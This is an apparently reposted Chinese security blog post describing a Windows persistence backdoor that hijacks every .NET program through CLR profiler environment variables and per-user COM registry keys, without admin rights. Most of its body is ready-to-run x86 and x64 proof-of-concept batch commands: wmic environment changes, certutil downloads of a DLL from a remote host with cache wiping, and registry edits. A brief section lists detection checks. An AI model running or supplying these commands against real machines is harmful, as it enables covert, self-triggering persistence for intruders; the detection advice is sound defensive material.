Use CLR to maintain persistence

发布于 2024-12-25 14:22:54 字数 6872 浏览 4 评论 0

0x00 前言

在之前的文章 《Use AppDomainManager to maintain persistence》 介绍了通过 AppDomainManager 实现的一种被动后门触发机制,演示了如何劫持系统.Net 程序 powershell_ise.exe,但前提是需要获得管理员权限。 这一次将更进一步,介绍一种无需管理员权限的后门,并能够劫持所有.Net 程序。

0x01 简介

本文将要介绍以下内容:

  • CLR 的使用
  • 后门开发思路
  • POC 编写
  • 后门检测

0x02 CLR 的使用

CLR:

全称 Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。

CLR 是.NET Framework 的主要执行引擎,作用之一是监视程序的运行:

  • 在 CLR 监视之下运行的程序属于“托管的”(managed)代码
  • 不在 CLR 之下、直接在裸机上运行的应用或者组件属于“非托管的”(unmanaged)的代码

CLR 的使用:

测试系统: Win8 x86

1、启动 cmd

输入如下代码:

SET COR_ENABLE_PROFILING=1
SET COR_PROFILER={11111111-1111-1111-1111-111111111111}

注:

{11111111-1111-1111-1111-111111111111} 表示 CLSID

可设置为任意数值,只要不和系统常用 CLSID 冲突就好

2、测试 dll

使用弹框 dll,下载地址:

..//test/master/msg.dll

dll 开发过程可参考:

https://3gstudent.github.io/Use-Office-to-maintain-persistence

可在 cmd 下实现直接下载,代码如下:

certutil.exe -urlcache -split -f ..//test/master/msg.dll
certutil.exe -urlcache -split -f ..//test/master/msg.dll delete

操作如下图

Alt text

注:

delete 是为了清除下载文件的缓存

更多关于使用 certutil.exe 下载文件的利用细节可参考文章:

《渗透测试中的 certutil.exe》

3、操作注册表

注册表路径: HKEY_CURRENT_USER\Software\Classes\CLSID\

新建子项 {11111111-1111-1111-1111-111111111111} ,同步骤 1 cmd 输入的 CLSID 对应 新建子项 InProcServer32 新建键值 REG_SZ ThreadingModel:Apartment 默认路径改为 msg.dll 的路径

修改后的注册表如下图

Alt text

对应 cmd 代码如下:

SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

4、在当前 cmd 启动.net 程序

例如 powershell.exe,启动时加载 msg.dll,弹框

操作如下图

Alt text

注:

使用其他 cmd 执行 powershell.exe 不会加载 msg.dll

原因:

SET COR_ENABLE_PROFILING=1
SET COR_PROFILER={11111111-1111-1111-1111-111111111111}

只作用于当前 cmd,可通过 cmd 命令 "set" 判断

当然,执行其他.net 程序也会加载 msg.dll

测试如下图

Alt text

0x03 后门开发思路

由以上测试得出结论,使用 CLR 能够劫持所有.Net 程序的启动,但是只能作用于当前 cmd

能否作用于全局呢?

自然想到了修改环境变量

通常,修改环境变量使用面板操作的方式,如下图

Alt text

能否通过命令行修改环境变量呢?

自然想到了 WMI

修改系统变量(需要管理员权限):

wmic ENVIRONMENT create name="1",username="<system>",VariableValue="1"

修改当前用户变量(当前用户权限):

wmic ENVIRONMENT create name="2",username="%username%",VariableValue="2"

注:通过 WMI 修改环境变量需要系统重启或注销重新登录才能生效

接下来需要测试,是否只需要修改当前用户权限就能够实现作用于全局,答案是肯定的。

添加当前用户的环境变量:

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"

wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"

重启后,成功修改,如下图

Alt text

现在直接启动.Net 程序,弹框,成功加载 msg.dll

如下图

Alt text

至此,后门思路验证成功

0x04 POC 编写

对于 32 位操作系统,参考 0x03 的代码就好,x86 POC 如下:

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"
certutil.exe -urlcache -split -f ..//test/master/msg.dll
certutil.exe -urlcache -split -f ..//test/master/msg.dll delete
SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

对应 64 位系统,需要注意重定向问题,注册表存在 32 位和 64 位两个位置

注:更多关于 64 位系统的重定向细节可参考文章《关于 32 位程序在 64 位系统下运行中需要注意的重定向问题》

结合到本文,32 位需要对应 32 位的 dll,64 位对应 64 位的 dll

所以,需要准备 64 位的 dll,下载地址如下:

..//test/master/msg_x64.dll

过程不再赘述,64 位 POC 如下:

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"
certutil.exe -urlcache -split -f ..//test/master/msg.dll
certutil.exe -urlcache -split -f ..//test/master/msg.dll delete
certutil.exe -urlcache -split -f ..//test/master/msg_x64.dll
certutil.exe -urlcache -split -f ..//test/master/msg_x64.dll delete
SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg_x64.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F 
SET KEY=HKEY_CURRENT_USER\Software\Classes\WoW6432Node\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

能够分别劫持 32 位和 64 位的.Net 程序

注:更多代码细节可见 github,地址如下:https://github.com/3gstudent/CLR-Injection

0x05 后门检测

结合利用方式,检测方法如下:

  • 检查环境变量 COR_ENABLE_PROFILINGCOR_PROFILER
  • 检查注册表键值 HKEY_CURRENT_USER\Software\Classes\CLSID\

0x06 小结

本文介绍了通过 CLR 劫持.Net 程序的后门,特点是无需管理员权限,并能够劫持所有.Net 程序。更重要的是,系统默认会调用.net 程序,导致后门自动触发。

0x07 补充(20171023)

Stefan Kanthak 发现了这种利用方法,并且公开的时间比我要早,地址如下:http://seclists.org/fulldisclosure/2017/Jul/11

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

孤蝉

暂无简介

文章
评论
25 人气
更多

推荐作者

alipaysp_qCPZes5aGh

文章 0 评论 0

BeginEnd

文章 0 评论 0

温柔一刀

文章 0 评论 0

qq_eW9dqv

文章 0 评论 0

cz003

文章 0 评论 0

mb_y5iXe1gw

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文